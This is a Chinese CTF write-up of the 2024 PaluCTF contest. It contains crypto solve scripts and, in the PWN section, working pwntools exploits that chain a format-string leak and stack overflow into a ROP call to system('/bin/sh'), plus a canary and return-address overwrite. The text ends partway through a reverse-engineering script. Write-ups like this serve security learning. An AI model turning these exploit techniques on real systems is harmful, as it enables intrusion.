[第一届 帕鲁杯 CTF挑战赛 2024] Crypto/PWN/Reverse

news2024/11/16 1:25:05

被一个小题整坏了,后边就没认真打。赛后把没作的复盘一下。

比赛有52个应急响应,猜是取证,都是队友在干,我也不大关心。前边大多题是比赛的原题。这是后来听说的,可都没见过,看来打的比赛还是少了。

Crypto

peeeq

这个题始终不明白什么意思,后来看WP,才大概明白。

题目唯一的提示是leak,而这个leak又与谁都没关系。assert看不明白,后来给了提示说是assert不对。

看WP其实是说leak为一个最小值,这些值都可以表示为k1p+k2q的形式。而这个最小值叫最大不可能K,从形式上猜跟φ有关。WP上说是φ-1,那就好办了。

import gmpy2
from Crypto.Util.number import *


def check(m, p, q):
    if m == 0: return True
    if m >= p and check(m-p, p, q) : return True
    if m >= q and check(m-q, p, q) : return True
    return False

flag = b"paluctf{***********************}"

p = getPrime(1024)
q = getPrime(1024)
e = getPrime(17)
n = p*q


pinv_e = gmpy2.invert(p, q)*e
qinv_e = gmpy2.invert(q, p)*e
m = bytes_to_long(flag)
c = pow(m, e, n)
print(c)
print(pinv_e)
print(qinv_e)
m = 0
while True:
    assert m <= leak or check(m, p, q)
    m += 1

leak = 20650913970072868759959272239604024297420806808659110564312051736808778949599012338389873196411652566474168134639876252857623310159737758732845898956842366935678501021994729279299799994075598575657211550223683499328614158165787416177094173112167115888930719187253398687736037116845083325669521670262760600243895871953940839864925909273175442587377607028910874730344252804963645659770898616148180806608083557249713184454706023876544328444568520666837841566163924062054001534893538655581481021600384148478571641075265311650046699619525464106135807483192890198614434965478741402348088647355476402189540171838712520668315
c = 14656499683788461319601710088831412892194505254418064899761498679297764485273476341077222358310031603834624959088854557947176472443021560072783573052603773463734827298069959304747376040480522193600487999140388188743055733577433643210327070027972481119823973316743393323273128561824747871183252082782459568278265418266528855123687868624734106855360408027492126167597948385055908257193701028960507382053300960017612431744000472268868103779169759349652561826935960615964589526055579319224213399173783902104833907847546751649110661705034653912439791460180154034041113546810232929706136321281991114377628823527206109309013
pinv_e = 12474140378771043865022148848078136936465079800066130234618983104385642778672967864991495110508733111980066517889153671507701349679185396054215439179349403857665966245686661757089470553109534987101888628107055364941617805783362125836104920292552457095662777743387917809524955960583091720618281570118299619677634759
qinv_e = 1647206449953560407401595632741127506095799998014240087894866808907042944168674423038307995055460808040825182837354682801054048594394389801771888111156812819183105159993880849157459496014737241461466870906700457127028184554416373467332704931423207098246831148428600375416541264997943693621557486559170922000282251
'''
题目描述有误 assert m <= leak or check(m, p, q) 中的leak为满足要求的最小值
对于 m > {x | x>=leak} 的 m 都必然满足 check(m, p, q) == True
'''

对于已知φ和伪逆的情况可以用z3直接解。

1,这里e未知,可以直接用gcd求出再分解一下找17位的素数。

2,列两个算式求解:n=pinv*p + qinv*q -1;phi = (p-1)*(q-1)

#factor(gcd(pinv_e,qinv_e))
#3 * 102563
e = 102563

pinv,qinv = pinv_e//e,qinv_e//e 

#最大不可能K=mp+nq 使>=K的值都能表示为mp+nq  K=pq-p-q = phi-1 
phi = leak+1 

import z3
import libnum
s = z3.Solver()
p, q = z3.Ints('p q')
#invp*p = 1 mod q ; invq*q = 1 mod p 
#????
s.add(p*q == pinv * p + qinv * q - 1)
s.add(phi == (p-1)*(q-1))

print(s.check())
m = s.model()

p = m[p].as_long()
q = m[q].as_long()

from Crypto.Util.number import *
m = pow(c,inverse(e,p-1),p)
long_to_bytes(m)
#b'paluctf{51b98a17-6843-4e3b-b06c-3cd956bc944c}'

 

gcccd

第2个题就比较简单了,给了c1 = m^e mod n; c2 = (m//2)^e mod n

from Crypto.Util.number import getStrongPrime, GCD, bytes_to_long
import os
from flag import flag

def long_to_bytes(long_int, block_size=None):
    """Convert a long integer to bytes, optionally right-justified to a given block size."""
    bytes_data = long_int.to_bytes((long_int.bit_length() + 7) // 8, 'big')
    return bytes_data if not block_size else bytes_data.rjust(block_size, b'\x00')

def gen_keys(bits=512, e=5331):
    """Generate RSA modulus n and public exponent e such that GCD((p-1)*(q-1), e) == 1."""
    while True:
        p, q = getStrongPrime(bits), getStrongPrime(bits)
        n = p * q
        if GCD((p-1) * (q-1), e) == 1:
            return n, e

def pad(m, n):
    """Pad the message m for RSA encryption under modulus n using PKCS#1 type 1."""
    mb, nb = long_to_bytes(m), long_to_bytes(n)
    assert len(mb) <= len(nb) - 11
    padding = os.urandom(len(nb) - len(mb) - 3).replace(b'\x01', b'')
    return bytes_to_long(b'\x00\x01' + padding + b'\x00' + mb)

def encrypt(m, e, n):
    """Encrypt message m with RSA public key (e, n)."""
    return pow(m, e, n)

n, e = gen_keys()
m = pad(bytes_to_long(flag), n)
c1, c2 = encrypt(m, e, n), encrypt(m // 2, e, n)

print(f"n = {n}\ne = {e}\nc1 = {c1}\nc2 = {c2}")

n = 128134155200900363557361770121648236747559663738591418041443861545561451885335858854359771414605640612993903005548718875328893717909535447866152704351924465716196738696788273375424835753379386427253243854791810104120869379525507986270383750499650286106684249027984675067236382543612917882024145261815608895379
e = 5331
c1 = 60668946079423190709851484247433853783238381043211713258950336572392573192737047470465310272448083514859509629066647300714425946282732774440406261265802652068183263460022257056016974572472905555413226634497579807277440653563498768557112618320828785438180460624890479311538368514262550081582173264168580537990
c2 = 43064371535146610786202813736674368618250034274768737857627872777051745883780468417199551751374395264039179171708712686651485125338422911633961121202567788447108712022481564453759980969777219700870458940189456782517037780321026907310930696608923940135664565796997158295530735831680955376342697203313901005151

由于flag以“}”结尾所在m是奇数,所以列式子的时候列成:

c1 = (2M+1)^e ,c2 = M^e然后用HGCD求解,原来一直用短填充,但用HGCD更快。反正都是模板。

from Crypto.Util.number import *
#half-gcd算法
def HGCD(a, b):
    if 2 * b.degree() <= a.degree() or a.degree() == 1:
        return 1, 0, 0, 1
    m = a.degree() // 2
    a_top, a_bot = a.quo_rem(x^m)
    b_top, b_bot = b.quo_rem(x^m)
    R00, R01, R10, R11 = HGCD(a_top, b_top)
    c = R00 * a + R01 * b
    d = R10 * a + R11 * b
    q, e = c.quo_rem(d)
    d_top, d_bot = d.quo_rem(x^(m // 2))
    e_top, e_bot = e.quo_rem(x^(m // 2))
    S00, S01, S10, S11 = HGCD(d_top, e_top)
    RET00 = S01 * R00 + (S00 - q * S01) * R10
    RET01 = S01 * R01 + (S00 - q * S01) * R11
    RET10 = S11 * R00 + (S10 - q * S11) * R10
    RET11 = S11 * R01 + (S10 - q * S11) * R11
    return RET00, RET01, RET10, RET11
    
def GCD(a, b):
    print(a.degree(), b.degree())
    q, r = a.quo_rem(b)
    if r == 0:
        return b
    R00, R01, R10, R11 = HGCD(a, b)
    c = R00 * a + R01 * b
    d = R10 * a + R11 * b
    if d == 0:
        return c.monic()
    q, r = c.quo_rem(d)
    if r == 0:
        return d
    return GCD(d, r)

PR.<x> = PolynomialRing(Zmod(n))
f1 = (2*x+1)^e - c1
f2 = x^e - c2

res = GCD(f1,f2)
m = -res.monic().coefficients()[0]
flag = long_to_bytes(2*int(m)+1)
print(flag)
#flag{6a096839-3ccb-46b4-9eb0-841ca85c0f63}

lcccg

这题给了一个lcg但是参数比较特殊a=2,b=0,然后结果只取了末位。取比flag长50位的值转整后与明白异或。

import secrets
from Crypto.Util.number import bytes_to_long

flag = b'paluctf{***********}'
class LCG:
    def __init__(self):
        self.x = secrets.randbits(64)
        self.a = 2
        self.m = secrets.randbits(64)
        
        while self.m % 2 == 0:
            self.m = secrets.randbits(64)
        
        print("m =", self.m)
    
    def next(self):
        self.x = (self.x * self.a) % self.m
        return self.x

lcg = LCG()

assert b"paluctf" in flag
f = bytes_to_long(flag)

l = f.bit_length()
print("length =", l)

r = 0
for i in range(l + 50):
    r += (lcg.next() & 1) << i

print("cipher =", r ^ f)

#-------------------------------
m = 7870528503754256659
length = 311
cipher = 3255815260238431584829132773479447408817850185229659648404208268001256903206776002292220185602856730646093869

对于这题想到了二分法,高位为1为上一半,为0为下一半,依次下去。而这个数比如1010与整个空间10000的比其实就是seed与模的比大概值。如果数字够长就会非常准。

这题给了50位,有点不够模是64位,不过由于知道flag头flag头8字节64位就足够了,但后边提示是头一定在,所以感觉这个flag开头不是paluctf{,可能有填充,所以爆破了一下,结果是没有填充。浪费。

m = 7870528503754256659
length = 311
cipher = 3255815260238431584829132773479447408817850185229659648404208268001256903206776002292220185602856730646093869
'''
#bit=1 则2*x>m 否则2*x<m
所以对于 k位的密文v 则有seed = v/(1<<k) 再进行小量爆破
'''
def print_r(x,v3,idx):
    tx = x
    r = 0
    for i in range(dim):
        x = (x*2)%m
        r += (x & 1) << i
    #print(bin(v3)[2:].zfill(64))
    #print(bin(r)[2:].zfill(64))
    if r == v3:
        print('ok:',tx)
        r = 0
        x = tx
        for i in range(361-(idx+1)*8):
            x = (x*2)%m
            r += (x & 1) << i
        v = long_to_bytes(r^(cipher>>(8*(idx+1))))
        print(idx,len(v),v)
        

#1,爆破头在哪 paluctf{ 头在开头
tc = cipher 
for i in range(39):
    tc >>=8
    v3 = (tc%(1<<64)) ^ bytes_to_long(b'paluctf{')
    seed = int(bin(v3)[2:].zfill(64)[::-1],2)*m // (1<<64)
    for j in range(20):
        print_r(seed+j,v3,i)

'''
ok: 4664793086826221388
30 8 b'paluctf{'
在右移31字符后得到干净的头
'''

 用这个种子重算得到加密流然后异或解密。

#2,差后部31字节 向前推31字节,得到flag
seed = 4664793086826221388
for i in range(8*31):
    seed = seed * inverse(2,m)%m

x = seed
r = 0
for i in range(361):
    x = (x*2)%m
    r += (x & 1) << i

print(long_to_bytes(r^(cipher)))
#b'paluctf{1_am_a_l0ng_l3g1n_1s_n0t_a_l!!}'

01110

这里先把明文作成2进制再当成10进制转整数,然后取每位与一个随机数的平方相乘。

from Crypto.Util.number import getPrime, getRandomRange, bytes_to_long
from random import randrange
from flag import flag

p = getPrime(512)
q = getPrime(512)
n = p * (q**2)
e = 65537

while True:
    z = randrange(1, n)
    if all(pow(z, (x - 1) // 2, x) == x - 1 for x in (p, q)):
        break

def encrypt_bit(m, n, z):
    secret = getRandomRange(1, n - 1)
    return (pow(secret, 2, n) * pow(z, m, n)) % n

m = int(bin(bytes_to_long(flag))[2:])
c = []
while m:
    bit = m % 10
    c.append(encrypt_bit(bit, n, z))
    m //= 10

print("n=", n)
print("gift1=", pow((p + q), e, n))
print("gift2=", pow((p - q), e, n))
print("z=", z)
print("c=", c)

至于是0还是1可以爆破,将c去年后边就变成随机数的平方,也就是说爆破下看是不是二次剩余。如果是0那乘以的是1它是二次剩余,为1则不是。

当bit=0时 c = pow(secret,2,n) 是二次剩余,当bit=1时 c = pow(secret,2,n)*z不是二次剩余

这题跟p,q没关系。给了反尔更容易多走路。

from gmpy2 import jacobi,invert
from Crypto.Util.number import long_to_bytes
ms = ''
for tc in c:
    if jacobi(tc,n)==1:  #是二次剩余
        ms+='0'
    else:
        ms+='1'

long_to_bytes(int(ms[::-1],2))
#paluctf{1_4m_th3_b0td_1n_t3st_1n_th3_r0w}

simple_crypto

这题唯一的提示是文件名lfrs.png.encrypt也就是说是lfrs加密的flag图片。

对于png图片前12字节是固定的,后边是IHDR+高宽,也就是知道16字节最大18(因为高度不好说,也可能是2字节)。

对于LFSR加密,mask为窗口长度,seed与mask对应位置异或后的和放尾部。这个需要爆破mask。由于只知道128位,所以小爆破一下。

* LFSR有个问题我一直不能确定:对于长度为k的mask成立时,长度为k+1也一定有对应的另外一个mask也能成立。也就是说比较16位时存在mask,17位是也存在mask,那么解密效果相同。mask取最小即可。

#取已知头部
msg = open('lfsr.png.encrypt','rb').read()
head = open('a.png','rb').read()[:0x10] #生成一个正常的png文件取头部对照

key = [head[i]^msg[i] for i in range(0x10)]
print(key)
sv = ''.join([bin(i)[2:].zfill(8) for i in key])
print(sv)
sv = 11001010111111100110111101101011010011010011100101111001110010100000000011100100111111010110010101010010111000100111111001000110

#爆破可用的mask
from z3 import *

def get_mask(key_len, skey):
    p = [BitVec(f"p{i}", 1) for i in range(key_len)]
    s = Solver()
    #print(key_len,len(skey))
    for i in range(len(skey)-1-key_len):  #验证长度
        key =  skey[i:key_len+i+1]
        s.add(int(key[-1]) == sum([p[_] for _ in range(key_len) if key[_]=='1']))
    
    if s.check() == sat:
        d = s.model()
        #print(d)
        mask = ''.join([str(d[p[i]]) for i in range(key_len)])
        return mask
    return False

#取已知明文一半,爆破所有可能的值
#取最短一个即可,有没有一个定理:如果K=len(mask)成立=>K+1也成立?
masks = []
for i in range(2,64):
    mask = get_mask(i,sv)
    if mask != False:
        print(i,mask)
        masks.append(mask)

不清楚刚说的成不成立,但能用,这里爆破出16以后都有,直接取16解,有人说取29其它都不行,我没理解。显然16-64都没问题。

###2,使用爆破到的mask求出足够长的加密流
def lfsr(seed,mask, retlen):
    retbin = seed
    retlen -= len(seed)
    seed = [int(i) for i in seed]
    mask = [int(i) for i in mask]
    for _ in range(retlen):
        b = sum([seed[i]*mask[i] for i in range(len(seed))])%2
        seed.append(b)
        seed.pop(0)
        retbin+= str(b)
    return bytes([int(retbin[i:i+8],2) for i in range(0,retlen,8)])

clen = len(msg)*8

###3,加密流与密文异或得到明文,爆破结果,所有可能的mask均可得到原文
from pwn import xor
for mask in masks:
    cipher = lfsr(sv[:len(mask)],mask, len(msg)*8)
    open(f's{len(mask)}.png', 'wb').write(xor(cipher,msg))
    break

 

crypto签到

一开始网站被Ddos攻击了,后来又被攻击了。

签到还下线了。一个字:该!

一个给p的RSA还要用远程,好无聊。

略。

玛卡巴卡有什么坏心思呢

玛卡巴卡玛卡巴卡轰达姆阿卡嗙轰阿巴雅卡阿巴雅卡阿巴雅卡轰达姆阿卡嗙轰哈姆达姆阿卡嗙哈姆达姆阿卡嗙哈姆达姆阿卡嗙轰玛卡巴卡轰达姆阿卡嗙轰阿巴雅卡阿巴雅卡轰咿呀呦轰达姆阿卡嗙轰

略。说是从网上能搜到码表。如果没法搜到那个页面还没法作了。

两元钱的铜匠

还以为是二元copper smith其实不是

from secret import flag
from Crypto.Util.number import *
m = bytes_to_long(flag)
p = getPrime(512)
q = getPrime(512)
n = p*q
c = pow(m, 65537, n)
N = getPrime(1024)
leak = (pow(9999, 66666)*p + pow(66666, 9999)*q) % N
print(f'n={n}')
print(f'c={c}')
print(f'N={N}')
print(f'leak={leak}')

注意这里是n和N,这个式子如果两边乘以p,就变成一元2次方程。

p*leak = 9999^66666*p^2 + 66666^999*n mod N

在sage里对有限域N求方程根。

n=80916351132285136921336714166859402248518125673421944066690210363157948681543515675261790287954711843082802283188843248579293238274583917836325545166981149125711216316112644776403584036920878846575128588844980283888602402513345309524782526525838503856925567762860026353261868959895401646623045981393058164201
c=22730301930220955810132397809406485504430998883284247476890744759811759301470013143686059878014087921084402703884898661685430889812034497050189574640139435761526983415169973791743915648508955725713703906140316772231235038110678219688469930378177132307304731532134005576976892978381999976676034083329527911241
N=175887339574643371942360396913019735118423928391339797751049049816862344090324438786194807609356902331228801731590496587951642499325571035835790931895483345540104575533781585131558026624618308795381874809845454092562340943276838942273890971498308617974682097511232721650227206585474404895053411892392799799403
leak=161177488484579680503127298320874823539858895081858980450427298120182550612626953405092823674668208591844284619026441298155371399651438065337570099147890081125477609238234662000811899869636390550619251741676887565983189442613760093303841954633720778312454175652907352477365434215186845209831284593041581382419

#p*q == n, a1*p+a2*q == leak mod N =>  a1*p^2 - leak*p + a2*n ==0 mod N
a1,a2 = pow(9999, 66666,N),pow(66666, 9999,N)
P.<p> = PolynomialRing(Zmod(N))
f = a1*p^2 - leak*p + a2*n
f.roots()

#[(106629367100406916315466325879020841571857885591730192765439666827411844199927696112373864480002028230623676089197780459822920505908628521220125929138381245686491638116937260902857393676211177541766160466286177892913861982882549327219419707722501990589121785234957751505157277673813563817780249578910215536985,  1), (7369460226203218007291482683484122432673051660657739743165520029005169640619453357512790807095244300800591778614929551073202263581117660350621325493923101,  1)]

p = 7369460226203218007291482683484122432673051660657739743165520029005169640619453357512790807095244300800591778614929551073202263581117660350621325493923101
bytes.fromhex(hex(pow(c,inverse_mod(0x10001,p-1),p))[2:])
#b'paluctf{6699669966996699669966996699}'

江枫渔火对愁眠

给了p|q和p&q分解n

from Crypto.Util.number import *
flag = b'paluctf{******************}'
p = getPrime(512)
q = getPrime(512)
m = bytes_to_long(flag)
n = p * q
e = 0x10001
c = pow(m, e, n)
leak1 = p & q
leak2 = p | q
print(n)
print(leak1)
print(leak2)
print(c)

n =116117067844956812459549519789301338092862193317140117457423221066709482979351921356314593636327834899992321545232613626111009441254302384449742843180876494341637589103640217194070886174972452908589438599697165869525189266606983974250478298162924187424655566019487631330678770727392051485223152309309085945253
leak1 = 8605081049583982438298440507920076587069196185463800658188799677857096281403951362058424551032224336538547998962815392172493849395335237855201439663804417
leak2 = 13407373154151815187508645556332614349998109820361387104317659096666170318961881115942116046384020162789239054091769561534320831478500568385569270082820389
c = 77391898018025866504652357285886871686506090492775075964856060726697268476460193878086905273672532025686191143120456958000415501059102146339274402932542049355257662649758904431953601814453558068056853653214769669690930883469679763807974430229116956128100328073573783801082618261383412539474900566590518020658

用了几个都不如自己原来写的,改着方便。

PR.<x> = PolynomialRing(Zmod(n))
ok = False
def pq_xor(tp,tq,idx):
    global ok 
    
    if ok:
        return 
    if tp*tq>n:
        return 
    if (tp+(2<<idx))*(tq+(2<<idx))<n:
        return 
        
    if idx<=120:
        print(hex(tp))
        print(hex(tq))
        try:
          for j in range(1<<2):  #已经位至少264位,再加2位
            f = tp + x + (j<<(120-2))
            rr = f.monic().small_roots(X=2^(120-2), beta=0.4, epsilon=0.05)
            if rr != []:
                print(rr)
                print(tp)
                print('p = ',f(rr[0]))
                ok = True
                return
        except:
            pass
        
        return
    
    idx -=1
    b1 = (leak1 >>idx)&1
    b2 = (leak2 >>idx)&1
    one = 1<<idx 
    if b1==0 and b2==0:
        pq_xor(tp,tq,idx)
    elif b1==1 and b2==1:        
        pq_xor(tp+one,tq+one,idx)    
    else:   #1
        pq_xor(tp+one,tq,idx)
        pq_xor(tp,tq+one,idx)
    

#N.nbits()=1023 gift.nbits()=512  p,q的512位为1
tp = 1<<511
tq = 1<<511
pq_xor(tp,tq,511)

#爆破得到p
p =  13246755426378578729876630630718068462717569987788401039611945190239825377062020349346567434694413153125153375769817998716719780574738862166452227093778437
q = n//p
d = inverse_mod(0x10001, (p-1)*(q-1))
m = pow(c,d,n)
bytes.fromhex(hex(m)[2:])
#b'paluctf{&&&|||&&&|||&&&&&&&&&&&&|||||||||}'

PWN

Palu

在main里有个printf漏洞,在base64_decode里有个溢出。虽然代码稍有点长,但还是比较标准的板子题。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  ...
  v10 = __readfsqword(0x28u);
  back_door1();
  puts("Please tell me your name");
  read(0, buf, 0x5DuLL);
  printf(buf);                 //printf
  opp11();
  read(0, s1, 2uLL);
  if ( !strcmp(s1, "1\n") )
  {
    puts("Please enter the data you want to encode");
    read(0, s, 0x3CuLL);
    v4 = strlen(s);
    ptr = palu64_encode((__int64)s, v4);
    if ( !ptr )
    {
      puts("Memory allocation failed.");
      return 1;
    }
    printf("palu64 Encoded: %s\n", ptr);
    free(ptr);
  }
  else
  {
    if ( strcmp(s1, "2\n") )
    {
      puts("Invalid option");
      exit(0);
    }
    printf("Enter a palu64 string to decode: ");
    fgets(s, 0x3C, stdin);
    v6 = strlen(s);
    if ( s[v6 - 1] == 10 )
      s[v6 - 1] = 0;
    decode_palu64(s);  
  }
  return 0;
}
unsigned __int64 __fastcall decode_palu64(const char *a1)
{
  char *v1; // rax
  int v2; // eax
  int v3; // eax
  int v4; // eax
  char *s; // [rsp+8h] [rbp-68h]
  int v7; // [rsp+20h] [rbp-50h]
  int i; // [rsp+24h] [rbp-4Ch]
  size_t v9; // [rsp+30h] [rbp-40h]
  char *haystack; // [rsp+38h] [rbp-38h]
  int v11; // [rsp+40h] [rbp-30h]
  int v12; // [rsp+44h] [rbp-2Ch]
  int v13; // [rsp+48h] [rbp-28h]
  int v14; // [rsp+4Ch] [rbp-24h]
  char buf[24]; // [rsp+50h] [rbp-20h] BYREF
  unsigned __int64 v16; // [rsp+68h] [rbp-8h]

  s = (char *)a1;
  v16 = __readfsqword(0x28u);
  v9 = (3 * strlen(a1)) >> 2;
  haystack = (char *)malloc(v9 + 1);
  if ( haystack )
  {
    v7 = 0;
    while ( *s )
    {
      for ( i = 0; i <= 3; ++i )
      {
        v1 = s++;
        *(&v11 + i) = palu64_decode((unsigned int)*v1);
      }
      v2 = v7++;
      haystack[v2] = (4 * v11) | (v12 >> 4);
      if ( v13 <= 63 )
      {
        v3 = v7++;
        haystack[v3] = (16 * v12) | (v13 >> 2);
      }
      if ( v14 <= 63 )
      {
        v4 = v7++;
        haystack[v4] = ((_BYTE)v13 << 6) | v14;
      }
    }
    haystack[v7] = 0;
    if ( strstr(haystack, "Palu") )
    {
      puts("A small gift");
      read(0, buf, 0xC8uLL);                    // 溢出
    }
    printf("Decoded string: %s\n", haystack);
    free(haystack);
  }
  else
  {
    puts("Memory allocation failed.");
  }
  return __readfsqword(0x28u) ^ v16;
}

这里不清楚什么原因直接输入Palu会不行,前边需要加点填充

from pwn import *
from base64 import *

context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')

#p = process('./Palu')
#gdb.attach(p, "b*0x400df8\nc")
p = remote('127.0.0.1', 24645)

p.sendafter(b"Please tell me your name\n", b'%22$p,%23$p,%25$p,/bin/sh\x00')
stack = int(p.recvuntil(b',', drop=True),16)
canary = int(p.recvuntil(b',', drop=True),16)
libc.address = int(p.recvuntil(b',', drop=True),16) - 240 - libc.sym['__libc_start_main']
print(f"{stack=:x} {canary = :x} {libc.address = :x}")

p.sendlineafter(b"Please tell me your options\n", b'2')
p.sendlineafter(b"Enter a palu64 string to decode: ", b64encode(b'aPalu\0'))
#backdoor
pop_rdi = 0x00000000004010a3 # pop rdi ; ret
pop_rsi = 0x00000000004010a1 # pop rsi ; pop r15 ; ret
p.sendlineafter(b"A small gift", flat(0,0,0,canary,0, pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh')), libc.sym['system']))


p.interactive()

小游戏

这题拿到1血,一直坚持到比赛关门才有二血。

代码比较长,估计没人想看了。大概理一下,应该就不难了。

1,在proof里作了个个简单的2字节爆破proof

2,在read_flag_and_init_map里读入flag并放在地图角上,位置随机,在4个解的25*25内。

3,game里支持上下左右移动,但只能走0的位置

4,图上的起点在25这个边的内部,flag在外部有一圈数字无法穿越

5,当输入字符大于w时会输出 printf("Invaild : %s\n", &v1); 

6,当到达flag所在位置会输出flag

这题有问题就是怎么穿墙。起点在圈内,终点在圈外。

漏洞在于在game函数中调用 sub_25D1(&v1, 37); 而v1只有1字节后边是i和canary,在这里读入37字节会发生溢出出,但后边只溢出16字节无法写ROP。

坑:

1,这些数字墙是通过random生成的,前边是srand(time(0))但是无法同步。后来看这里没用

2,溢出时写37字节恰好到libc_start_main_ret但是得到后只有16字节又无法写ROP,one_gadget也都试了没用。其实用不着libc,再少给俩字节多好。

3,墙是随机的,写了Dijstra算法找最优路径,但发现墙有外圈,不穿墙过不去。

4,遍历图规模太大400*400。但flag在4角,每个角25*25,加上换角只需要25^2*4+350*3并不太大

这题的难度就在于坑,每个坑都需要走好远,发现不行了再回来重新开始。

思路:

1,先通过溢出,开头写大于w的字符得到canary和elf地址

2,在输入里修改返回main的地址从0x2bde( game运行后)改为0x2bd4(game运行前)重入,由于在遇到墙退出里已经修改指针到新位置,所以穿越回game后会从新位置重新开始,从而达到穿墙目的。

3,通过遍历4个解得到flag

from pwn import *
from hashlib import sha256

context(arch='amd64', log_level='error')
libc = ELF('/home/kali/glibc/libs/2.35-0ubuntu3-amd64/libc.so.6')
elf = ELF('./YUZ')

#p = process('./YUZ')
#gdb.attach(p, "b*0x555555556a8b\nc")
p = remote('127.0.0.1', 35061)

#1,proof
p.recvuntil(b'guidance."\n')
head = bytes.fromhex(p.recv(14).decode().replace(' ', ''))
p.recvline()
shahex = p.recvline().strip().decode()
for i in range(256):
  for j in range(256):
    v = head+bytes([i,j])
    v = sha256(v).hexdigest()
    if v == shahex:
       p.sendafter(b':', f"{i:02x} {j:02x}".ljust(10, '\0').encode())
       break

'''
0x00007fffffffde60│+0x0000: 0x7878787878ffdf98   ← $rsp
0x00007fffffffde68│+0x0008: 0xf8d9d29ea6a41b78
0x00007fffffffde70│+0x0010: 0x008be8dd836c5ddc   ← $rbp
0x00007fffffffde78│+0x0018: 0x0000555555556bde  →   mov eax, 0x0
0x00007fffffffde80│+0x0020: 0x0000000000000001
0x00007fffffffde88│+0x0028: 0x00007ffff7def18a  →  <__libc_start_call_main+122> mov edi, eax
'''
#2,leak   5+canary+rbp+gameret+rbp+libc
#get canary
for i in range(5): p.recvline()
point = eval(p.recvline())
print(point)
p.sendline(b'x'*6)
p.recvuntil(b'x'*6)
canary = b'\x00'+ p.recv(7)
print(canary.hex())

#elf
p.sendlineafter(b')\n', b'x'*21)
p.recvuntil(b'x'*21)
elf.address = u64(p.recv(6)+b'\x00'*2) - 0x2bde
print(f"{elf.address =:x}")

#libc
p.sendafter(b')\n', b'x'*37)
p.recvuntil(b'x'*37)
libc.address = u64(p.recv(6)+ b'\x00'*2) - 0x29d90
print(f"{libc.address = :x}")

pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
bin_sh  = next(libc.search(b'/bin/sh'))

pay = b'x'+p32(0)+ flat(canary,0,elf.address+0x2bd4,1)
p.sendafter(b')\n',pay)

#go (0,0)
print('-------2')
path1 = 'w'*point[0]+'a'*point[1]
for v in path1:
    while True:
        msg = p.recvline()
        if b',' in msg:
            break
        print(msg)
    pay = v.encode()+p32(0)+ flat(canary,0,elf.address+0x2bd4,1)
    p.send(pay)

#search corner
print('-------3')
path = ('d'*25+'s'+'a'*25+'s')*12 + 'd'*400 + ('w'+'a'*25+'w'+'d'*25)*12 + 's'*400 + ('a'+'w'*25+'a'+'s'*25)*12 + 'a'*375 + ('w'+'d'*25+'w'+'a'*25)*12
for v in path:
    while True:
        msg = p.recvline()
        print(msg)
        if b',' in msg:
            break
        if b'flag' in msg:
            print(msg)
    pay = v.encode()+p32(0)+ flat(canary,0,elf.address+0x2bd4,1)
    p.send(pay)

p.interactive()

#b'(394, 395)\n'
#b"You successfully destroyed the enemy's signal generator! flag is:flag{b4fa8d5f-a3cd-4388-a611-db1f5d4c975e}\n"

Reverse

看名字就知道是tea加密了。从IDA的findcrypt找到salsa20,虽然不是tea但也没啥问题。与lfrs,rc4差不多这种流加密,只要获得了流就OK了,而获得流的办法就是随便弄个明文再加密一次。

odbg先在比较位置下断点,输入‘000000000000000000000000000000000’,断开后得到加密后的密文和,flag的密文。由于salsa20是异或加密,直接对3都异或。

c = 'f568c48912eed6dc520c7164f44b6378e1d0d3e248914fa8847b405a131f'
b = "a33495de599c93983d751e18ad1036179288829110c04da8eb061f184652"
v = '0'*30

from pwn import xor
xor(xor(v.encode(),bytes.fromhex(b)),bytes.fromhex(c))
b'flag{But_I_Like_ChaCha20_More}'

Auth System

从ida找到这个

int sub_401550()
{
  int ii; // [rsp+28h] [rbp-18h]
  int n; // [rsp+2Ch] [rbp-14h]
  int m; // [rsp+30h] [rbp-10h]
  int k; // [rsp+34h] [rbp-Ch]
  int j; // [rsp+38h] [rbp-8h]
  int i; // [rsp+3Ch] [rbp-4h]

  for ( i = 0; (unsigned __int64)i <= 0x6D; ++i )
    putchar(aUuUUuUUuuuUuuu[i] ^ 0xA);
  putchar(10);
  for ( j = 0; (unsigned __int64)j <= 0x6D; ++j )
    putchar(aTwWTtTTtTWTttw[j] ^ 0xB);
  putchar(10);
  for ( k = 0; (unsigned __int64)k <= 0x6D; ++k )
    putchar(aPPspPSlPSlPpPS[k] ^ 0xC);
  putchar(10);
  for ( m = 0; (unsigned __int64)m <= 0x6D; ++m )
    putchar(aQRqQRqQRq11Rrr[m] ^ 0xD);
  putchar(10);
  for ( n = 0; (unsigned __int64)n <= 0x6D; ++n )
    putchar(aRqrRqrrqqQrrqq[n] ^ 0xE);
  putchar(10);
  for ( ii = 0; (unsigned __int64)ii <= 0x6D; ++ii )
    putchar(aSpppSpsSppppps[ii] ^ 0xF);
  return putchar(10);
}

然后弄出来。注意这里不要用bytes因为转义后会乱,看不出来。

a = ['**UU*U***************UU**U****UUUU***UUUU*UUU*UUU********U****UUUU*UUUUU***UUU*UUUU*****UUUUU*U***U*U***UUU***',
'+$+Tw+w+TT+T++TT+T++$+$+$+W++$+TTTw+$+TTTwT+TwT+Tw++++++$+W++w++T+WT+++Tw+wT+T$+TTTw+++w++TTTw+w+w+w+W+w+W+W++',
'p,pSp,p#,Sl,p#,Sl,pp,p,#,S,P,PSSS,Pp,p,,,,p,p,p,p,,,,,,#,S,P,p,pS%,pp,p,,,,p,pPSSS,P,,,p,pS,,p,p,p,p,,Pp,pp,p,',
'q--Rq-q-%Rq-q-%Rq-1-1-"-RRR-Q-RRR$-q-qRRR-q-q-q-q-----"-RRR-Qq--R-1-q-q----q-q-RRR$-q--q--Rq-q-qRq-q-qQ--q-3-3',
'rQr.rQrRQQ"QrRQQ".rr.!Q!...RQRQQQQ!.RQQQQrQQQrQQQrQQQ!Q!...RQRQr.RQRrQrQQQrQQQrQQQQ!QQQrQr....RQQQ!rQr.RQrr.r.',
'/sPPP //SPS/sPPPPPs//sPPPPPs//sPPPPPs P //']

for i in range(6):
    print(bytes([v^^(i+0xa) for v in a[i].encode()]).decode())

 

PyLu

又是python打包的exe文件,解开后填加头,然后到网站上解密。原先tool.lu已经不行了,没想到这题居然又能用了。

#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.11

from Crypto.Util.number import bytes_to_long

def enc(key):
    R = bytes_to_long(b'Welcome To PaluCTF!')
    MOD = 2 ** 418
    R = R ^ R - 60 >> 24
